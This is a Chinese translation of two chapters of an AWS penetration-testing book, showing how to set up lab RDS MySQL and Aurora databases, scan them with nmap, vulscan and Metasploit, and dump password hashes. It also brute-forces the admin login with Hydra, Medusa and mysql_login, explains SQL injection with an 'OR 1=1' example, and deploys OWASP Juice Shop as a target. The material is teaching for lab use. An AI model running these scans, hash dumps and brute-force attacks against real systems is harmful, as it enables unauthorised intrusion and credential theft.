在本章中,我们将讨论 RDS 的一些关键点,并使用 MySQL 设置 RDS 数据库。设置完数据库后,我们将对其进行扫描,然后使用它来应用语法,并学习必要的“动作”和命令,使我们能够在一个小的 MySQL 数据库中进行导航。之后,我们将看一下弱密码的严重性,通过暴力破解登录凭据,并最后了解SQL 注入SQLi)是什么,以及它对数据库的影响。

在本章中,我们将学习以下内容:

  • 了解 RDS

  • 设置 RDS(MySQL)

  • 了解基本的 SQL 语法

  • 数据库操作和探索

  • 了解配置错误

  • 了解注入点

技术要求

要按照本章的说明进行操作,您需要以下内容:

查看以下视频以查看代码的实际操作:bit.ly/35Va2KH

了解 RDS

RDS 允许用户架设、扩展和操作关系数据库服务,而无需处理架设自己的数据库服务器所带来的所有麻烦。除了不必在本地分配硬件和资源外,RDS 旨在降低所有权成本,从而使公司能够更多地专注于自己的业务目标,减少对技术需求的担忧。自行托管数据库往往需要大量的时间、金钱和人力资源- RDS 使所有者只需要创建和配置他们的云数据库设置。

让我们快速看一下使用 RDS 的一些优势。

使用 RDS 的优势

RDS 是架设基础设施数据库的一个很好的方式,有许多好处和优点。除了我们已经简要提到的一些优点之外,了解如何使用 AWS 及其相关服务快速且安全地扩展是很重要的。

让我们快速看一下 RDS 相对于其他数据库服务具有影响力优势的一些要点:

  • 快速:只需点击几下,您就拥有了自己的数据库!不要担心我们目前没有进行任何实际操作,我们将在本章中大量使用 RDS。

  • 安全数据在静止数据在使用都是加密的。

--数据在使用是当前从一个源传输到另一个源的数据。这些数据的安全性很重要,因为有人可能会进行中间人攻击(MiTM)。中间人攻击是指攻击者能够在数据在传输过程中访问数据。然后,攻击者会检索未加密的数据,并用于恶意目的。

--数据在静止是当前存储的数据-包括备份。攻击者不应能够访问或查看这些数据。静止的未加密数据会产生很大的风险,可以允许攻击者在数据被窃取时查看数据。

--数据库实例将自动进行补丁。一些选项允许手动管理补丁-可以想象,如果不应用补丁,这可能会导致安全问题。

  • 易于管理:能够通过 AWS Web 控制台集中控制所有数据库使事情变得非常无缝。然而,重要的是数据库管理员确保他们跟上不断更新和扩展的需求。

  • 可扩展的:只需点击几下,您就可以扩展数据库以满足您的需求。这使您能够以更少的麻烦扩展基础架构,因为不必购买大量的硬件。

RDS 为选择它而不是在本地托管它的客户带来的另一个好处是成本效益。公司可以预期通过转移到 AWS 来节省相当多的钱。这在很大程度上是因为不必设置物理基础设施。

从安全的角度来看,不将数据库存储在本地意味着您不必担心物理访问控制和物理安全 - 这也是节省成本。AWS 共享安全模型确保亚马逊将承担物理设备的所有权,包括这些设备的物理安全。

现在让我们更专注地看一些服务,以便了解 RDS 中托管了哪些类型的服务。我们将提到的两种服务是 MySQL 和 Aurora。

MySQL

MySQL 是一种基于和围绕结构化查询语言(SQL)的标准数据库。这种全面的数据库已经成为一种相当普遍的用作 Web 数据库的选择,作为 Web 应用程序的后端数据库。因此,有可能当您在线购物时,您正在与一个 MySQL 数据库进行交互。

虽然这在本节中并不相关,但重要的是要知道我们将在整本书中都使用 MySQL。我们将研究各种数据库系统,并了解这些系统使用的语法。

Aurora

Aurora 是一个与 MySQL 和 PostgreSQL 兼容的关系数据库,专为耐久性和速度而构建。它被认为比其他数据库(如 MySQL 和 PostgreSQL)快得多,并提供了我们提到的 RDS 的相同优势。它是根据其他 AWS 组件构建的,例如以下内容:

  • S3

  • EC2

  • VPC 和更多...

它也由 RDS 管理,这意味着它们使用了与 AWS 相关的相同管理和管理员功能。我们将深入研究设置 Aurora 并在第六章**,设置和渗透测试 AWS Aurora RDS中进行测试。现在我们已经了解了一些关于 RDS 的信息,让我们看看如何实际设置 RDS 数据库。

设置 RDS(MySQL)

要设置 RDS 数据库,我们将使用一个较旧版本的 MySQL。您将在 AWS 控制台中来回移动,因此请确保将 RDS 图标固定在您的 AWS 控制台中:

图 5.1 – 将 RDS 固定为快捷方式

图 5.1 – 将 RDS 固定为快捷方式

之后,确保您在本书中一直在使用的地区,并继续创建数据库。请记住,重要的是我们选择一直在本书中使用的地区。这样可以确保我们所有的资源都保持在同一个地方。

按照下面的说明创建您自己的 RDS 实例:

  1. 点击您创建的RDS图标,然后选择创建数据库图 5.2 – 创建新数据库

图 5.2 – 创建新数据库

  1. 接下来,您需要选择一个数据库 - 我们将使用MySQL。确保使用较旧的版本,如果没有最旧版本的话:图 5.3 – 选择 MySQL

图 5.3 – 选择 MySQL

  1. 之后,您将获得一个模板供选择。我们希望避免收费,因此请选择免费层选项:图 5.4 – 选择免费层

图 5.4 – 选择免费层

  1. 接下来,设置 RDS 实例的名称、用户名和密码:图 5.5 – 创建用户名和密码

图 5.5 - 创建用户名和密码

  1. 确保您已选择了数据库公开的选项:

图 5.6 - 使 RDS 实例公开

图 5.6 - 使 RDS 实例公开

您现在拥有一个正在运行的 RDS 数据库!它需要一些时间来完成创建 - 一旦完成创建,您就可以通过 MySQL 访问它。

我们的实例已经启动运行,现在让我们添加一个规则到我们的安全组,允许默认的 MySQL 端口3306打开并允许流量到实例。

向安全组添加规则

我们的实例已经启动,但还没有准备好。现在您需要确保通过端口3306允许入站流量 - 这是我们将要访问实例的端口。

要这样做,请按照以下步骤:

  1. 点击数据库中的安全组:图 5.7 - 创建安全组

图 5.7 - 创建安全组

  1. 点击VPC 安全组

  2. 点击安全组 ID。

  3. 创建允许3306的入站规则:

图 5.8 - 编辑规则

图 5.8 - 编辑规则

现在您将被允许从您的计算机连接到数据库。接下来,让我们看一下如何测试连接到我们新设置的数据库。

测试连接

一旦您的数据库启动并运行,确保您可以连接到它总是一个很好的健全检查 - 即使您暂时不打算使用它。为了测试连接到我们的新数据库,让我们在 Kali 中打开一个终端,并使用mysql来访问我们的数据库:

$ mysql -h <<RDS INSTANCE>> -P 3306 -u admin -p

以下截图显示了前面命令的输出:

图 5.9 - 连接到 RDS

图 5.9 - 连接到 RDS

我们现在与数据库建立了稳定的连接!在扫描服务器之后,我们将看一下在数据库中移动。

现在我们了解了如何连接到我们的数据库,让我们看一下在渗透测试中如何扫描我们的数据库。

扫描 RDS

现在我们的 RDS 数据库已经启动运行,让我们看一下如何对其执行各种扫描。这些技术正是我们在渗透测试中使用的技术,可以帮助我们了解更多关于我们在实验室环境中的目标

以下步骤将帮助我们实现这些结果:

  1. 假设这是一个“现实生活”的渗透测试。我们想要做的第一件事是检查我们的目标并查看哪些端口是开放的。为了枚举任何信息,我们需要在主机上运行基本扫描
$ nmap -vv -Pn <<RDS INSTANCE>>

这将给出以下输出:

图 5.10 - 实例上打开了端口 3306

图 5.10 - 实例上打开了端口 3306

  1. 接下来,我们运行版本扫描,查看端口上运行的软件版本:
$ nmap -p 3306 -Pn -sV <<RDS INSTANCE>>

这将给出以下输出:

图 5.11 - 端口 3306

图 5.11 - 端口 3306

  1. 接下来,我们使用 Metasploit 确认软件版本:
$ use auxiliary/scanner/mysql/mysql_version
$ set rhosts <<RDS INSTANCE>>
$ exploit

这将给出以下输出:

图 5.12 - 使用 Metasploit 扫描 MySQL 版本

图 5.12 - 使用 Metasploit 扫描 MySQL 版本

太好了,现在我们知道正在运行的版本!

枚举阶段的下一部分是查看与该版本相关的 CVE。我们将使用 Nmap 内置的脚本查看一些列出的 CVE。

重要提示

CVE 提供了各种漏洞和利用的参考,您可能在评估过程中找到。您可以在这里找到更多关于 CVE 的信息:https://cve.mitre.org/。

接下来,让我们拉取一个新的 CVE 存储库,并使用更新的 CVE 存储库运行 Nmap 扫描。

以下步骤将指导我们:

  1. 首先,您需要从 GitHub 获取以下内容:github.com/scipag/vulscan

我们可以使用git clone命令来执行它:

$ git clone https://github.com/scipag/vulscan scipag_vulscan
 $ ln -s `pwd`/scipag_vulscan /usr/share/nmap/scripts/vulscan
  1. 然后运行您的扫描:
$ nmap -sV --script=vulscan/vulscan.nse -p 3306 <<RDS INSTANCE>>

这将给您以下输出:

图 5.13 - 来自 Vulnscan 的信息

图 5.13 - 来自 Vulnscan 的信息

我们可以看到扫描的输出显示了我们可以查找的各种 CVE。你可以在 MITRE 数据库中查找 CVE:cve.mitre.org/。CVE 是一个相当深入的话题,会偏离这本书的主题,所以最好简单理解 CVE 是你在渗透测试中可能发现的漏洞和利用的参考。

正如你所看到的,有各种各样的扫描方式 - 我的意思是皮毛 - 一只猫!扫描主机可以让你看到任何开放的服务和端口,这可能是对服务器的一个可能的立足点。在渗透测试中,没有一个端口被忽视,也没有一个服务被遗漏。枚举是关键,扫描可以是枚举中最重要的策略!

现在让我们看一些 SQL 语法的快速参考,这将帮助我们在本章的其余部分中移动。

了解基本的 SQL 语法

了解 SQL 语法非常重要,特别是现在我们将通过 MySQL 与 SQL“shell”进行交互。基本上,语法是系统、应用程序和设备的语言,所以你非常重要知道一些基础知识以及如何使用语法。

以下是属于 MySQL 语法的基本命令列表:

  • SELECT:从数据库中提取数据

  • UPDATE:更新数据库中的信息

  • DELETE:从数据库中删除数据

  • 显示:在数据库或表中显示数据

  • 使用:切换到一个数据库

  • INSERT INTO:向数据库中插入新数据

  • CREATE DATABASE:创建一个新数据库

  • ALTER DATABASE:修改数据库

  • CREATE TABLE:创建一个新表

现在你知道了一些简单的语法,让我们继续应用它,并开始在我们的新数据库中移动。

数据库操作和探索

了解如何在数据库中移动不仅对渗透测试很重要,对于技术人员来说也非常重要。数据库被所有东西使用,你会遇到数据库的次数比你自己的份额还要多,所以重要的是你了解如何使用它们的语法。此外,如果你不知道你要去哪里,那么你怎么到达那里?如果你甚至不知道从哪里开始?如果你不将你的知识应用于实际测试,那在 MySQL 中移动就会变得像这样。既然我们提到了语法,让我们在下一部分中实际使用它。首先,确保你连接到你的 RDS 数据库。连接后,继续进行下一步。

假设这是一个真正的渗透测试,你被授予对数据库的访问权限,但需要找到配置错误。当获得对服务器的访问权限时,你首先要做的事情是显示服务器上的所有数据库。

让我们使用一些命令来帮助我们在数据库中操作:

  1. 让我们看看我们实例中的数据库:
$ show databases;

这将给我们以下输出:

图 5.14 - 列出 RDS 中的数据库

图 5.14 - 列出 RDS 中的数据库

  1. 很好,现在我们知道服务器上有哪些数据库。接下来,让我们看看 MySQL 数据库 - 这通常存储用户名和密码:
$ use mysql;
  1. 接下来,让我们看看该数据库中的表:
$ show tables;

显示以下表:

图 5.15 - 显示表

图 5.15 - 显示表

  1. 你会看到一个名为user的表。继续显示该表中的数据:
$ SELECT * FROM user;

这将给我们以下输出:

图 5.16 - 列出用户表中的信息

图 5.16 - 列出用户表中的信息

你会得到一些数据,看起来像我们截图中所示的一团糟。如果你看一下,你可以看到每个用户名及其哈希值。默认情况下,MySQL 使用 SHA-1 哈希。

现在,让我们确保我们通过查询只看到了用户:

$ select user from user;

这将给我们以下输出:

图 5.17 - 以人类可读文本显示的用户

图 5.17 - 以人类可读文本显示的用户

正如你所看到的,我们有用户名和他们的哈希:

  • rdsadmin:*AAEED912FFD9F3EBB625FBE039BB2A88FB8C4187

  • mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE

  • admin:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

继续前进,让我们看看是否有更自然的方式来查看终端中的用户名和哈希。在渗透测试中,能够有效地用一个截图说明一种技术是一个好的实践。这样做有助于让你的客户理解,并在放入报告时显得更专业。

我们可以通过使用 Metasploit 来转储哈希。让我们继续看看我们如何做到这一点。

使用 Metasploit 转储哈希

转储哈希是从用户那里获取密码的好方法。虽然哈希本身不是密码,但它们可以被破解或用于“哈希”传递攻击 - 一种允许你使用哈希密码进行身份验证的技术。

要执行我们的hashdump,我们需要使用mysql_hashdump并设置参数以适应你的目标。确保你使用数据库的用户名和密码:

图 5.18 - 转储哈希

图 5.18 - 转储哈希

正如你所看到的,我们已经成功转储了数据库哈希,并可以提供一个更简洁的截图,可以被嵌入到渗透测试报告中。

现在我们已经找到了在数据库中移动和定位用户和密码的方法,让我们继续前进,看看我们如何创建数据库并在渗透测试中使用蛛丝马迹

创建 RDS 数据库

在进行渗透测试时,留下蛛丝马迹是很常见的。这些蛛丝马迹通常被称为遗物,它们在内部留下,以便让客户知道他们确实进入了他们所说的系统。此外,当渗透测试人员在几个月后重新访问系统时,他们将通过遗物是否被移除来知道系统是否已修复。如果遗物仍然存在,这是一个很好的指示,表明系统的问题没有得到解决 - 通常是因为管理员在解决问题时会移除遗物。

对于我们的 MySQL 服务器,我们将创建一个名为pentest的数据库。如果这是一个真实的任务,它只会被留下作为一个我在这里的声明:

  1. 连接到你的数据库并输入以下命令来创建数据库:
$ create database pentest;
  1. 现在你已经创建了一个数据库,最好再次检查并确保它被正确创建:
$ show databases;

以下截图将向你展示输出:

图 5.19 - 显示我们的新数据库

图 5.19 - 显示我们的新数据库

现在我们已经建立了一个数据库,我们对 RDS、MySQL 有了更多的了解,以及我们如何操作数据库。现在让我们讨论一些常见的配置错误,并进行一个实际的暴力破解练习,以真正了解由配置错误引起的问题。

理解配置错误

如果不及时有效地纠正,配置错误可能会导致数据库的终结。这些问题往往是由于管理员的不良操作或缺乏知识所引起的。数据库中留下的漏洞是恶意黑客的宝藏,也是渗透测试人员的乐趣,然而,仅仅因为它们对渗透测试人员有趣,并不意味着它们应该存在!

让我们看看你在技术生涯中可能会遇到的一些常见问题。

弱密码

弱密码通常源自默认密码或常见密码。在这里了解更多关于弱密码的信息:https://cwe.mitre.org/data/definitions/521.html。弱密码通常很容易被猜到。以下是一些被认为是弱密码的密码列表:

  • 管理员

  • 密码

  • 12345qwer

  • Password123

为了帮助说明弱密码有多危险,让我们看一些工具,我们可以用来暴力破解我们最近创建的 RDS 数据库上管理员帐户的弱密码。

Hydra

Hydra 是一个很棒的工具,当您需要破解登录密码时可以使用它-它对各种协议都很快速、简单且灵活。在我们的情况下,我们将使用它来暴力破解我们的 RDS 数据库登录。

在开始之前,请确保您有一个短密码列表可用于针对 RDS 登录进行测试。我建议使用大约 10 个密码并将它们存储在.txt文件中。创建密码文件后,使用以下命令使用已知密码admin和密码列表来暴力破解数据库:

$ hydra -l admin -P passwords.txt <<RDS INSTANCE>> mysql

这将给我们以下输出:

图 5.20 - 使用 Hydra 暴力破解

图 5.20 - 使用 Hydra 暴力破解

正如您所看到的,Hydra 以绿色显示找到的密码和用户名-这样我们更容易阅读。现在让我们看看另一个工具,Medusa。

Medusa

Medusa 与 Hyrda 相同-它是一个用于暴力破解登录凭据的出色且快速的工具。就像以前一样,让我们使用我们的密码列表和已知用户名来暴力破解我们的 RDS 登录:

$ medusa -h <<RDS INSTANCE>> -u admin -P /root/passwords.txt -M mysql

这将给我们以下输出:

图 5.21 - 使用 Medusa 暴力破解

图 5.21 - 使用 Medusa 暴力破解

注意最后一行显示ACCOUNT FOUND,表明已找到用户名和密码。

Metasploit

Metasploit 还内置了一个很棒的模块,让我们使用暴力破解!就像以前一样,使用您的密码列表和已知用户名来暴力破解登录!要找到该模块,请搜索mysql_login扫描程序并针对您的 RDS 实例:

图 5.22 - 使用 Metasploit 暴力破解

图 5.22 - 使用 Metasploit 暴力破解

您现在有一些时间来查看数据库中的各种问题,同时也为弱密码进行渗透测试。如果您检查工具的输出,您将看到LOGIN FAILED这些词,这表明我们未能成功获取凭据。但是,如果您查看显示SUCCESS的输出,您将看到已找到凭据admin:password

现在让我们更多地讨论一些我们在数据库中看到的问题,其中一些您可能在渗透测试职业中发现。

未打补丁的数据库

未打补丁的系统是一个重大问题,有时对恶意黑客来说可能很容易。那么为什么公司不打补丁他们的系统或启用自动打补丁呢?不幸的是,情况并不那么简单。许多公司在打补丁时面临问题,因为特定的补丁对其系统和应用程序产生不利影响。此外,打补丁需要时间,可能会导致服务器停机。如果服务器停机,通常意味着组织的收入损失。

这就是为什么渗透测试现在成为如此重要的职业领域。公司在不断更新其安全姿态方面遇到问题,似乎几乎不可能查看所有内容。渗透测试通过不断寻找未打补丁的系统并利用漏洞来帮助缓解这一问题。这样做可以让公司评估与未打补丁系统相关的风险并做出相应的计划。

现在让我们开始总结,但在此之前,我们将快速看一下注入。注入是在允许访问后端数据库的 Web 应用程序中发现的最具影响力的漏洞之一。

学习注入点

虽然在本章中我们不会进行任何关于注入的“实践”,但了解注入是什么,它是如何工作的,以及为什么它仍然是 Web 应用程序中的顶级问题之一是至关重要的。在第六章**,设置和渗透测试 AWS Aurora RDS中,我们将看到注入的更多实际实现,当我们设置一个易受 SQL 注入攻击的环境时。

什么是注入?

注入是应用程序中的一个缺陷,允许执行恶意语句。虽然它可能看起来“不那么邪恶”,但这些语句可以是实际控制数据库的语句 - 最终使未经授权的用户控制系统。这意味着如果不加以纠正,该缺陷可能允许恶意用户访问敏感数据,甚至完全接管数据库。

它是如何工作的?

首先,需要找到一个入口点;这通常是 Web 页面或 Web 应用程序中的一个易受攻击的输入部分。易受攻击的入口点通常直接访问 SQL 数据库,并允许用户进行直接从数据库查询的查询。一旦发现,恶意有效载荷将被发送到数据库并在服务器端执行。让我们看一个概念验证POC),它说明了一个非常基本的注入字符串,将允许未经授权的查询用户名和密码。

伪代码

在这个例子中,我们将使用伪代码 - 这不是真正的编码;它是易于阅读的代码,帮助读者理解正在执行的操作。以下字符串是伪代码,这意味着它在实际情况下可能有效,也可能无效。

SELECT username FROM users WHERE username = 'administrator' AND password='password'

以下查询将尝试检索管理员用户名和密码,但将失败,因为数据库将看到用户没有权利访问服务器。将其视为一个FALSE语句。FALSE语句简单地意味着服务器不会执行命令,因为查询不合法(有多种方式它可能是不合法的)。

因此,如果数据库不执行错误命令,这意味着它应该运行一个TRUE语句。让我们更改我们的查询使其为TRUE

SELECT username FROM users WHERE username = 'administrator' AND password='password' OR 1=1'

通过在查询的末尾添加OR 1=1',我们使1等于1 - 使其为真。这样做允许检索管理员的用户名和密码。

重要说明

请记住,伪代码不是真正的代码。伪代码的目的是为可能性制定一个“路线图”。

为什么这是一个问题?

如前所述,注入影响企业员工和客户。注入点可以允许从完全控制数据库到泄露敏感信息的任何事情。在建立新数据库时,前端网站对输入进行消毒以帮助防止这类攻击是非常重要的。

总结

在本章中,我们学到了关于数据库的很多知识 - 例如 RDS、MySQL 和 Aurora。我们还快速深入了解了 MySQL 语法,以帮助我们更好地理解在交互式 MySQL shell 中执行命令时正在执行的操作。我们学会了如何使用 RDS 设置数据库,并学会了如何在 RDS 数据库中创建数据库。然后,我们学会了如何暴力破解数据库,同时也了解了弱密码对数据库的影响程度。

在下一章中,您将开始使用从本章获得的知识,并在更多的实践中实施它,同时在 AWS 中构建环境。

进一步阅读

第六章:设置和渗透测试 AWS Aurora RDS

AWS Aurora 为 AWS 账户提供了类似 SQL 的数据库功能。以使用 PostgreSQL 和 MySQL 为中心,例如查询,Aurora 使用户可以轻松地与高性能存储系统进行交互。然而,副作用可能会带来致命的代价,如果不充分保护,可能会导致数据泄漏。本章将讨论 Aurora 所提供的内容,以及SQL 注入SQLi)的危险 - 这是针对托管 MySQL 等服务的网站的恶意攻击。我们还将讨论拒绝服务DoS)和分布式拒绝服务DDoS)的缓解和预防。

在本章中,我们将涵盖以下主题:

  • 理解和设置 Aurora RDS

  • 白盒/功能性渗透测试 Aurora

  • 设置 SQLi 实验室

  • 与 SQLi 有趣

  • 避免 DDoS

技术要求

要按照本章的说明进行操作,您将需要以下内容:

本章中使用的代码可在以下链接找到:

查看以下视频以查看代码的实际操作:bit.ly/2TIx2qz

理解和设置 Aurora RDS

第五章中,理解易受攻击的 RDS 服务,我们研究了关系数据库并设置了自己的 RDS 数据库,并实现了 MySQL 作为运行在 RDS 实例上的基础服务。正如你所看到的,设置数据库相对简单,所以现在我们将开始研究 Aurora。

Aurora 的一个好处是简单性,我们将在设置 Aurora 集群时进行研究。因为 Aurora 运行在 RDS 之上,它完成了大部分的繁重工作,并允许你与以前一样进行接口。Aurora 的另一个巨大优势是安全性。Aurora 对静态数据和传输数据进行加密。在两个级别进行加密可以确保数据的机密性,无论是存储还是使用。在渗透测试中,诸如个人可识别信息PII)之类的数据非常敏感,如果发现未加密,应该立即披露。

重要提示

如果在渗透测试期间发现 PII 未受保护,则渗透测试应该停止并恢复,并立即通知管理人员。

Aurora 兼容 MySQL 和 PostgreSQL。Aurora 的一个伟大之处在于需要 MySQL 和 PostgreSQL 等服务的工具也可以在 Aurora 中运行。Aurora 是使用与 MySQL 和 PostgreSQL 相同或相似的数据库引擎构建的。

接下来,让我们使用一些我们已经掌握的知识来设置 Aurora 和 MySQL 数据库。

设置 Aurora

现在,设置 Aurora 应该相对不那么复杂,因为我们已经在 RDS 上设置了数据库。如果还没有,请转到第五章理解易受攻击的 RDS 服务,并设置一个数据库,以便了解在 AWS 中设置数据库的步骤。拥有数据库是继续前进所必需的。

就像以前一样,转到 Amazon RDS 控制台,然后单击创建数据库开始。接下来,按照以下步骤:

  1. 选择标准创建图 6.1 - 选择标准创建

图 6.1 - 选择标准创建

  1. 选择具有 MySQL 兼容性的 Amazon Aurora图 6.2 – Aurora 选择

图 6.2 – Aurora 选择

  1. 选择区域数据库位置以适应您的位置。

数据库特性屏幕上,选择一个写入者和多个读取者 - 并行查询。这是一个很好的方法,因为它允许一个更加冗余的混合工作负载:

图 6.3 – 一个写入者和多个读取者 - 并行查询

图 6.3 – 一个写入者和多个读取者 - 并行查询

  1. 设置页面上,为您的集群命名。确保您记住这个名字。

  2. 设置用户名和密码:图 6.4 – 为您的新实例创建用户名和密码

图 6.4 – 为您的新实例创建用户名和密码

  1. 选择密码验证

  2. 点击创建数据库

图 6.5 – 新的 Aurora 集群

图 6.5 – 新的 Aurora 集群

就是这样 – 我们已经设置了一个可以使用的 Aurora 数据库集群。尝试连接并测试一些功能,就像您在上一章中测试 MySQL 时所做的那样,第五章理解易受攻击的 RDS 服务

现在我们的 Aurora 实例正在运行,让我们进行一项渗透测试练习,演示一个实际的渗透测试人员如何查看与 Aurora 渗透测试相关的一些易于攻击的内容。

重要提示

易于攻击是在系统、网络和应用程序中发现的易于利用的漏洞。

白盒/功能性渗透测试 Aurora

就像我们之前对 RDS 所做的那样,我们将从渗透测试的角度来看看我们可以从 Aurora 中找到什么。我们知道环境,因为我们设置了它,但是为了下一个练习的缘故,让我们假设我们正在对 Aurora 实例进行渗透测试。这个测试涉及查看实例是否可以被公开访问,密码字段的强度如何,以及在查看实例时我们可能能做的其他任何事情。

我们要这样做的原因是尽可能多地暴露白盒渗透测试方法。白盒渗透测试是最常见的渗透测试方法,因为它允许渗透测试人员完全测试所有功能目的和合规目的。我们将把这个方法应用到我们的 Aurora 实例上。

我们的参与始于扫描 Aurora 实例。请记住,除了实例的地址,我们一无所知!

侦察 – 扫描公共访问

像往常一样,我们需要检查实例是否是公共的。我们可以通过使用 NMAP 运行no ping扫描来做到这一点:

$ nmap -Pn -vv <<aurora instance IP>>

这将给我们以下输出:

图 6.6 – 扫描 Aurora 并发现端口 3306

图 6.6 – 扫描 Aurora 并发现端口 3306

从前面的屏幕截图中,看起来实例实际上是在端口3306上公开访问的,这是 MySQL 服务使用的端口。现在我们知道目标主机的以下信息:

  • 正在使用 MySQL。

  • 端口3306对公众开放。

这些信息非常重要,因为我们知道系统正在使用 MySQL 的默认端口,并且我们知道正在使用的数据库类型。由于它使用默认端口,这可能意味着安全控制措施较少。

重要提示

将端口更改为不同的服务可以通过混淆增加一些安全性。然而,这可能表明目标上可能实施了更多的安全性。

现在,我们可以继续深入研究如何访问 Aurora 实例。这将需要使用用户名和密码列表进行一些暴力破解。

枚举用户名和密码

现在我们对正在运行的服务有了更多的信息,我们需要继续并开始攻击这些服务。在我们的白盒渗透测试方法论的下一步中,我们将开始寻找一些弱密码。如果我们发现了用户名和密码,我们就可以直接访问目标。

发现用户名和密码的一个好而快速的方法是尝试使用默认名称来对服务和设备进行攻击。在我们的情况下,我们知道 MySQL 使用默认用户名admin。因为我们知道这一点,我们将使用admin用户名进行暴力破解,并使用可以在 GitHub 上找到的密码列表,方法如下:

  1. 要获取密码列表,请运行以下命令:
$ wget https://raw.githubusercontent.com/PacktPublishing/AWS-Penetration-Testing/master/Chapter%206%3A%20Setting%20up%20and%20pentesting%20AWS%20Aurora%20RDS/mssql-betterdefaultpasslist.txt
  1. 如果您打开文件,您会注意到列表中既有用户名又有密码 – 我们只需要密码。我们可以使用awk命令来切片和打印出密码,并将其存储在一个新文件中:
$ cat mssql-betterdefaultpasslist.txt | awk -F: {'print $2'} > AuroraPasswords.txt
  1. 现在我们已经生成了密码列表,是时候来看一看是否可以获取到 Aurora 的用户名和密码了。我们将使用 Metasploit 来执行这个任务。首先,您需要启动 Metasploit:
$ msfdb run
  1. 接下来,我们将加载mysql登录扫描器:
$ use auxiliary/scanner/mysql/mysql_login
  1. 一旦您加载了您的模块,您需要设置一些参数。就像在[第五章](B15630_05_Final_ASB_ePub.xhtml#_idTextAnchor227)中一样,了解易受攻击的 RDS 服务,设置以下参数:
Set RHOSTS <<aurora instance>>
Set USERNAME admin
Set STOP_ON_SUCCESS true
Set PASS_FILE AuroraPasswords.txt 
  1. 一旦您设置好所有参数,使用run命令来执行针对 Aurora 主机的扫描:

图 6.7 – 密码暴力破解

图 6.7 – 密码暴力破解

我们已成功枚举了用户名和密码:

  • admin

  • password

重要提示

使用默认密码非常危险!确保在发现时报告默认用户名和密码。适当的纠正措施是将密码和用户名更改为符合用户名和密码准则的内容。

从这里开始,我们有了可以让我们访问和拥有所有权限的凭据。这将允许我们删除数据库和表,以及添加我们自己的后门。强调发现弱凭据所涉及的问题非常重要,因为正如您所看到的,我们能够接管数据库!

现在我们对后端的工作原理有了更好的理解,让我们来看看如何通过建立我们自己的易受攻击的网站来(合法地)攻击前端。

为 SQLi 设置实验室

我们接下来要做的练习涉及设置一个 EC2 实例,安装一个易受攻击的 Web 程序,并在您的 EC2 实例上安装 Docker 服务。一旦一切就绪,我们将开始研究一些实际的 SQLi,并测试 Web 应用程序的易受攻击区域。

我们正在安装的易受攻击的应用程序Juice Shop是一个非常受欢迎的 Web 应用程序,充满了不同难度级别的黑客挑战 – 它甚至配备了一个黑客仪表板,您可以用来跟踪您的进度。要了解更多关于这个应用程序的信息,OWASP 有一个页面,上面有关于该项目的有用信息(owasp.org/www-project-juice-shop/)。

重要提示

这个练习不涉及 Aurora – 它涉及 SQLi 和渗透测试参数,您可能会在使用 Aurora 的网站上看到。这个练习的目的是更加熟悉 SQLi 以及它的危险性。

首先,您需要设置一个 EC2 实例。到目前为止,您应该已经熟悉了如何设置实例;但是,如果您需要复习,请参考[第一章](B15630_01_Final_ASB_ePub.xhtml#_idTextAnchor025),构建您的 AWS 环境

一旦您在 EC2 仪表板上,请按照以下步骤启动和运行您的实例:

  1. 点击启动实例

  2. 选择一个Amazon 机器映像AMI)。我们使用的 AMI 是Amazon ECS-优化的 Amazon Linux 2 AMI图 6.8-选择 SQLi 实验的正确镜像

图 6.8-选择 SQLi 实验的正确镜像

  1. 配置实例详细信息,展开高级详细信息,并将以下脚本复制到用户数据中:
#!/bin/bash
yum update -y
yum install -y docker
service docker start
docker pull bkimminich/juice-shop
docker run -d -p 80:3000 bkimminich/juice-shop
  1. 当您到达安全组时,请确保端口80对所有传入和传出流量都是开放的。

  2. 启动您的实例。

  3. 打开浏览器,搜索您的 EC2 实例的公共 DNS 名称。这样做的最简单方法是右键单击实例,然后选择包含步骤 3中脚本的.sh脚本。

您可能无法通过 HTTP 连接。常见问题是在设置 EC2 时错误配置安全组。如果无法通过 HTTP 连接,请确保您的安全组允许连接。请参考以下截图,并确保您的安全组设置正确:

图 6.9-安全组仪表板

图 6.9-安全组仪表板

设置完成后,连接到您的网络浏览器中的公共 DNS,您应该看到果汁店的主仪表板。要查看应用程序,请将 EC2 实例的公共 DNS 名称放入浏览器中,然后点击Enter

图 6.10-果汁店仪表板

图 6.10-果汁店仪表板

干得好,我们已经成功在 AWS 中建立了我们自己的易受攻击的实验室。在我们继续之前,让我们看看在我们开始渗透测试之前可以做的一些快速清理工作。

配置果汁店自动启动

在我们继续之前,我们想做一个快速的清理步骤,这将自动为我们启动果汁店,每当我们的 EC2 实例启动时。每次启动实例时手动启动服务可能会很麻烦,这有助于节省我们的一些时间,这样我们就不必总是手动启动服务每当我们上线实例时。

让我们将其分解为以下步骤:

  1. 您需要制作一个一行脚本,可以在启动时启动。我们可以通过两种不同的方式来做到这一点。首先,转到init.d目录:
$ cd /etc/init.d 
  1. 一旦您进入目录,制作一个脚本,init可以在启动时调用。在这种情况下,我们将称之为juiceShop.sh
$ sudo vi juiceShop.sh
  1. 将以下脚本放入文件中并保存:
#!/bin/bash
sudo sudo docker run -d -p 80:3000 bkimminich/juice-shop

另一种方法是将其添加到实例的cron 作业中。cron 作业是用户可以在 Unix 操作系统上安排的基于时间的作业。作业是用户设置为以任何间隔运行的任务。在我们的情况下,我们希望果汁店在实例启动时运行。要做到这一点,请在您的 EC2 终端中键入以下命令:

$ @reboot sudo sudo docker run -d -p 80:3000 bkimminich/juice-shop

现在,我们有一个带有可用版本的果汁店的实例,可以开始测试 SQLi!在继续之前,请确保您的实例在启动时自动启动果汁店,方法是重新启动实例。

现在,让我们开始执行 SQLi 并对我们的易受攻击实例进行渗透测试。

SQLi 的乐趣

现在我们已经准备好了,让我们继续对易受攻击的 Web 应用程序果汁店进行一些渗透测试。如果您需要了解 SQLi 是什么以及它是如何工作的,请查看第五章了解易受攻击的 RDS 服务

在我们开始之前,我们需要确保一些事情:

  1. 我们的带有果汁店的 EC2 实例已经启动,并且可以通过 Web 浏览器访问。这将确保我们可以在接下来的练习中访问它。

  2. 我们的本地 Kali Linux 虚拟机在虚拟盒中启动。

完成了这两个步骤后,继续前往果汁店 EC2 实例的公共 DNS。接下来,让我们转到记分牌,看看 Web 应用程序上有哪些挑战。

在您的网络浏览器中转到目录:http://<>/#/score-board/:

图 6.11-果汁店记分牌

图 6.11 - Juice Shop 记分牌

重要提示

